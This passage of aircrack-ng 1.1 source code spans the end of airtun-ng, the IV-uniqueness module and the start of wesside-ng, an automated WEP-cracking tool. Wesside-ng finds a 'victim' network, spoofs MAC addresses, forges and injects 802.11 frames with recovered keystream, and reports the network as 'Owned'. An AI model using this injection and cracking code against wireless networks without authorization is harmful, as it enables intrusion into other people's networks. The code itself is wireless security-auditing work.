memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } } switch( packet[1] & 3 ) { case 1: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+10, 6); //SRC_MAC break; case 2: memcpy( h80211, packet+4 , 6); //DST_MAC memcpy( h80211+6, packet+16, 6); //SRC_MAC break; case 3: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+24, 6); //SRC_MAC break; default: break; } /* Keep track of known MACs, so we only have to tunnel into one side of the WDS network */ if (((packet[1] & 3) == 3) && opt.bidir) { if (! memcmp(packet+10, opt.r_bssid, 6)) { set_entry(packet+24, 0); } if (! memcmp(packet+10, opt.r_trans, 6)) { set_entry(packet+24, 1); } } if( memcmp(dmac, SPANTREE, 6) == 0 ) { if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z, length-z); length = length-z+14; h80211[12] = ((length-14)>>8)&0xFF; h80211[13] = (length-14)&0xFF; } else { memcpy( h80211+12, packet+z+6, 2); //copy ether type if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; } ti_write(dev.dv_ti, h80211, length); } else { return 1; } return 0; } int main( int argc, char *argv[] ) { int ret_val, len, i, n, ret; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; unsigned char bssid[6]; char *s, buf[128]; int caplen; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); opt.r_nbpps = 100; opt.tods = 0; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"repeat", 0, 0, 'f'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "x:a:h:i:r:y:t:s:bw:m:d:fH", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 't' : if( atoi(optarg) == 1) opt.tods = 1; else if ( atoi(optarg) == 2) opt.tods = 2; else opt.tods = 0; break; case 's' : if( getmac( optarg, 1, opt.r_trans ) != 0 ) { printf( "Invalid Transmitter MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'b' : opt.bidir = 1; break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'm': if ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f': opt.repeat = 1; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 ) { printf( "Please specify a BSSID (-a).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } if( ( memcmp( opt.r_trans, NULL_MAC, 6) == 0 ) && opt.tods == 2 ) { printf( "Please specify a Transmitter (-s).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } printf( "created tap interface %s\n", ti_name(dev.dv_ti)); if(opt.prgalen <= 0 && opt.crypt == CRYPT_NONE) { printf( "No encryption specified. Sending and receiving frames through %s.\n", argv[optind]); } else if(opt.crypt != CRYPT_NONE) { printf( "WEP encryption specified. Sending and receiving frames through %s.\n", argv[optind] ); } else { printf( "WEP encryption by PRGA specified. No reception, only sending frames through %s.\n", argv[optind] ); } if( opt.tods == 1 ) { printf( "ToDS bit set in all frames.\n" ); } else if( opt.tods == 2) { printf( "ToDS and FromDS bit set in all frames (WDS/Bridge) - " ); if (opt.bidir) { printf( "bidirectional mode\n" ); } else { printf( "unidirectional mode\n" ); } } else { printf( "FromDS bit set in all frames.\n" ); } for( ; ; ) { if(opt.s_file != NULL) { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( opt.repeat ) { if( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } if( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) continue; } else { if( memcmp(opt.f_bssid, bssid, 6) != 0 ) continue; } } send_packet(h80211, caplen); } packet_recv( h80211, caplen); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( &read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.1/src/uniqueiv.c0000644000000000000000000001471510767732110015046 0ustar rootroot/* * IV uniqueness detection method. * * Copyright (C) 2004-2008 Stanislaw Pusep: * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ /* * Each IV byte is stored in corresponding "level". We have 3 levels with * IV[2] as root index (level 0), IV[1] and IV[2] as level 2 and level 1 * indices respectively. Space required to allocate all data is at maximum * 2^24/8 (2 MB) and space required by filled index structures is 257 KB. */ #include #include "uniqueiv.h" /* allocate root structure */ unsigned char **uniqueiv_init( void ) { int i; /* allocate root bucket (level 0) as vector of pointers */ unsigned char **uiv_root = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_root == NULL ) return( NULL ); /* setup initial state as empty */ for( i = 0; i < 256; ++i ) uiv_root[i] = NULL; return( uiv_root ); } /* update records with new IV */ int uniqueiv_mark( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; short i; if( uiv_root == NULL ) return( 0 ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* create if it doesn't exists */ if( uiv_lvl1 == NULL ) { /* allocate level 2 bucket being a vector of bits */ uiv_lvl1 = (unsigned char **) malloc( 256 * sizeof( unsigned char * ) ); if( uiv_lvl1 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 256; i++ ) uiv_lvl1[i] = NULL; /* link to parent bucket */ uiv_root[IV[2]] = (unsigned char *) uiv_lvl1; } /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* create if it doesn't exists */ if( uiv_lvl2 == NULL ) { /* allocate level 2 bucket as a vector of pointers */ uiv_lvl2 = (unsigned char *) malloc( 32 * sizeof( unsigned char ) ); if( uiv_lvl1 == NULL ) return( 1 ); /* setup initial state as empty */ for( i = 0; i < 32; i++ ) uiv_lvl2[i] = 0; /* link to parent bucket */ uiv_lvl1[IV[1]] = uiv_lvl2; } /* place single bit into level 2 bucket */ uiv_lvl2[BITWISE_OFFT( IV[0] )] |= BITWISE_MASK( IV[0] ); return( 0 ); } /* check if already seen IV */ int uniqueiv_check( unsigned char **uiv_root, unsigned char IV[3] ) { unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return( IV_NOTHERE ); /* select bucket from level 1 */ uiv_lvl1 = (unsigned char **) uiv_root[IV[2]]; /* stop here if not even allocated */ if( uiv_lvl1 == NULL ) return( IV_NOTHERE ); /* select bucket from level 2 */ uiv_lvl2 = (unsigned char *) uiv_lvl1[IV[1]]; /* stop here if not even allocated */ if( uiv_lvl2 == NULL ) return( IV_NOTHERE ); /* check single bit from level 2 bucket */ if( ( uiv_lvl2[ BITWISE_OFFT( IV[0] ) ] & BITWISE_MASK( IV[0] ) ) == 0 ) return( IV_NOTHERE ); else return( IV_PRESENT ); } /* unallocate everything */ void uniqueiv_wipe( unsigned char **uiv_root ) { int i, j; unsigned char **uiv_lvl1; unsigned char *uiv_lvl2; if( uiv_root == NULL ) return; /* recursively wipe out allocated buckets */ for( i = 0; i < 256; ++i ) { uiv_lvl1 = (unsigned char **) uiv_root[i]; if( uiv_lvl1 != NULL ) { for( j = 0; j < 256; ++j ) { uiv_lvl2 = (unsigned char *) uiv_lvl1[j]; if( uiv_lvl2 != NULL ) free( uiv_lvl2 ); } free( uiv_lvl1 ); } } free( uiv_root ); return; } unsigned char *data_init( void ) { // It could eat up to (256*256*256) * 3 bytes = 48Mb :/ unsigned char * IVs = (unsigned char *) calloc(256*256*256 * 3, sizeof(unsigned char)); return IVs; } /* Checking WEP packet: * The 2 first bytes of 2 different data packets having the same IV (for the same AP) * should be exactly the same due to the fact that unencrypted, they are always the same: * AA AA */ int data_check(unsigned char *data_root, unsigned char IV[3], unsigned char data[2]) { int IV_position, cloaking; // Init vars cloaking = NO_CLOAKING; // Make sure it is allocated if (data_root != NULL) { // Try to find IV IV_position = (((IV[0] * 256) + IV[1]) * 256) + IV[2]; IV_position *= 3; // Check if existing if ( *(data_root + IV_position) == 0) { // Not existing *(data_root + IV_position) = 1; // Add it *(data_root + IV_position + 1) = data[0]; *(data_root + IV_position + 2) = data[1]; } else { // Good, we found it, so check it now if ( *(data_root + IV_position + 1) != data[0] || *(data_root + IV_position + 2) != data[1]) { cloaking = CLOAKING; } } } // else, cannot detect since it is not started return cloaking; } void data_wipe(unsigned char * data) { if (data) free(data); } aircrack-ng-1.1/src/wesside-ng.c0000644000000000000000000013161611355271630015245 0ustar rootroot/* * Copyright (C) 2005, 2006, 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep/osdep.h" #include "pcap.h" #include "aircrack-ptw-lib.h" #include "ieee80211.h" #include "ethernet.h" #include "if_arp.h" #include "if_llc.h" #include "crypto.h" #include "version.h" #include "osdep/byteorder.h" #define FIND_VICTIM 0 #define FOUND_VICTIM 1 #define SENDING_AUTH 2 #define GOT_AUTH 3 #define SPOOF_MAC 4 #define SENDING_ASSOC 5 #define GOT_ASSOC 6 #define LINKTYPE_IEEE802_11 105 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define PADDED_ARPLEN 54 #define MCAST_PREF "\x01\x00\x5e\x00\x00" #define WEP_FILE "wep.cap" #define KEY_FILE "key.log" #define PRGA_FILE "prga.log" #define KEYLIMIT 1000000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); struct frag_state { struct ieee80211_frame fs_wh; unsigned char *fs_data; int fs_len; unsigned char *fs_ptr; int fs_waiting_relay; struct timeval fs_last; }; struct prga_info { unsigned char *pi_prga; int pi_len; unsigned char pi_iv[3]; }; struct wstate { int ws_state; struct timeval ws_arpsend; char *ws_netip; int ws_netip_arg; int ws_max_chan; unsigned char *ws_rtrmac; unsigned char ws_mymac[6]; int ws_have_mac; char ws_myip[16]; unsigned char *ws_victim_mac; PTW_attackstate *ws_ptw; unsigned int ws_ack_timeout; int ws_min_prga; int ws_thresh_incr; int ws_crack_dur; int ws_wep_thresh; int ws_crack_pid; struct timeval ws_crack_start; struct timeval ws_real_start; struct timeval ws_lasthop; struct timeval ws_last_wcount; struct wif *ws_wi; unsigned int ws_last_wep_count; int ws_ignore_ack; /* tx_state */ int ws_waiting_ack; struct timeval ws_tsent; int ws_retries; unsigned int ws_psent; /* chan_info */ int ws_chan; /* victim_info */ char *ws_ssid; int ws_apchan; unsigned char ws_bss[6]; struct frag_state ws_fs; struct prga_info ws_pi; /* decrypt_state */ unsigned char *ws_cipher; int ws_clen; struct prga_info ws_dpi; struct frag_state ws_dfs; /* wep_log */ unsigned int ws_packets; unsigned int ws_rate; int ws_fd; unsigned char ws_iv[3]; } _wstate; #define KEYHSBYTES PTW_KEYHSBYTES int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod, int keylimit ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; return; if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 ) return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; printf( "\33[2J" ); } if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 9; if(table) printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } printf( "\n" ); } // if( B < opt.keylen - 1 ) // printf( "\33[J" ); printf( "\n" ); } static struct wstate *get_ws(void) { return &_wstate; } static void cleanup(int x); static void sigchild(int x); static void time_print(char* fmt, ...) { va_list ap; char lame[1024]; time_t tt; struct tm *t; va_start(ap, fmt); vsnprintf(lame, sizeof(lame), fmt, ap); va_end(ap); tt = time(NULL); if (tt == (time_t)-1) { perror("time()"); exit(1); } t = localtime(&tt); if (!t) { perror("localtime()"); exit(1); } printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame); } static void check_key(struct wstate *ws) { char buf[1024]; int fd; int rd; struct timeval now; fd = open(KEY_FILE, O_RDONLY); if (fd == -1) { return; } rd = read(fd, buf, sizeof(buf) -1); if (rd == -1) { perror("read()"); exit(1); } buf[rd] = 0; close(fd); printf ("\n\n"); time_print("KEY=(%s)\n", buf); if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } printf ("Owned in %.02f minutes\n", ((double) now.tv_sec - ws->ws_real_start.tv_sec)/60.0); cleanup(0); exit(0); } static void kill_crack(struct wstate *ws) { if (ws->ws_crack_pid == 0) return; printf("\n"); time_print("Stopping crack PID=%d\n", ws->ws_crack_pid); // XXX doesn't return -1 for some reason! [maybe on my box... so it // might be buggy on other boxes...] if (kill(ws->ws_crack_pid, SIGINT) == -1) { #if 0 perror("kill()"); exit(1); #endif } ws->ws_crack_pid = 0; check_key(ws); } static void cleanup(int x) { struct wstate *ws = get_ws(); printf("\n"); time_print("Dying...\n"); if (x) {} /* XXX unused */ if (ws->ws_fd) close(ws->ws_fd); kill_crack(ws); if (ws->ws_wi) wi_close(ws->ws_wi); if(ws->ws_ssid) free(ws->ws_ssid); exit(0); } static void set_chan(struct wstate *ws, int c) { if (c == ws->ws_chan) return; if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()"); ws->ws_chan = c; } static void hexdump(unsigned char *ptr, int len) { while(len > 0) { printf("%.2X ", *ptr); ptr++; len--; } printf("\n"); } static char* mac2str(unsigned char* mac) { static char ret[6*3]; snprintf(ret, (6*3), "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return ret; } static void inject(struct wif *wi, void *buf, int len) { int rc; rc = wi_write(wi, buf, len, NULL); if(rc == -1) { perror("writev()"); exit(1); } if (rc != len) { time_print("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } } static void send_frame(struct wstate *ws, unsigned char* buf, int len) { static unsigned char* lame = 0; static int lamelen = 0; static int lastlen = 0; // retransmit! if (len == -1) { ws->ws_retries++; if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) { ws->ws_waiting_ack = 0; return; } if (ws->ws_retries > 10) { time_print("ERROR Max retransmists for (%d bytes):\n", lastlen); hexdump(&lame[0], lastlen); #if 0 txstate.waiting_ack = 0; return; #endif } len = lastlen; // printf("Warning doing a retransmit...\n"); } // normal tx else { assert(!ws->ws_waiting_ack); if (len > lamelen) { if (lame) free(lame); lame = (unsigned char*) malloc(len); if(!lame) { perror("malloc()"); exit(1); } lamelen = len; } memcpy(lame, buf, len); ws->ws_retries = 0; lastlen = len; } inject(ws->ws_wi, lame, len); if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1; ws->ws_psent++; if (gettimeofday(&ws->ws_tsent, NULL) == -1) { perror("gettimeofday()"); exit(1); } #if 0 printf("Wrote frame at %lu.%lu\n", txstate.tsent.tv_sec, txstate.tsent.tv_usec); #endif } /* Expects host-endian arguments, but returns little-endian seq. */ static unsigned short fnseq(unsigned short fn, unsigned short seq) { unsigned short r = 0; if(fn > 15) { time_print("too many fragments (%d)\n", fn); exit(1); } r = fn; r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); return htole16(r); } static void fill_basic(struct wstate *ws, struct ieee80211_frame* wh) { unsigned short *sp; memcpy(wh->i_addr1, ws->ws_bss, 6); memcpy(wh->i_addr2, ws->ws_mymac, 6); memcpy(wh->i_addr3, ws->ws_bss, 6); sp = (unsigned short*) wh->i_seq; *sp = fnseq(0, ws->ws_psent); sp = (unsigned short*) wh->i_dur; *sp = htole16(32767); } static void send_assoc(struct wstate *ws) { unsigned char buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned char* body; int ssidlen; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; body = (unsigned char*) wh + sizeof(*wh); *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap // cap + interval body += 2 + 2; // ssid *body++ = 0; ssidlen = strlen(ws->ws_ssid); *body++ = ssidlen; memcpy(body, ws->ws_ssid, ssidlen); body += ssidlen; // rates *body++ = IEEE80211_ELEMID_RATES; *body++ = 8; *body++ = 2 | 0x80; *body++ = 4 | 0x80; *body++ = 11 | 0x80; *body++ = 22 | 0x80; *body++ = 12 | 0x80; *body++ = 24 | 0x80; *body++ = 48 | 0x80; *body++ = 72; /* x-rates */ *body++ = IEEE80211_ELEMID_XRATES; *body++ = 4; *body++ = 48; *body++ = 72; *body++ = 96; *body++ = 108; send_frame(ws, buf, (unsigned long)body - (unsigned long)buf); } static void wepify(struct wstate *ws, unsigned char* body, int dlen) { uLong crc; unsigned int *pcrc; int i; assert(dlen + 4 <= ws->ws_pi.pi_len); // iv memcpy(body, ws->ws_pi.pi_iv, 3); body +=3; *body++ = 0; // crc crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, dlen); pcrc = (unsigned int*) (body+dlen); *pcrc = htole32(crc); for (i = 0; i < dlen +4; i++) *body++ ^= ws->ws_pi.pi_prga[i]; } static void send_auth(struct wstate *ws) { unsigned char 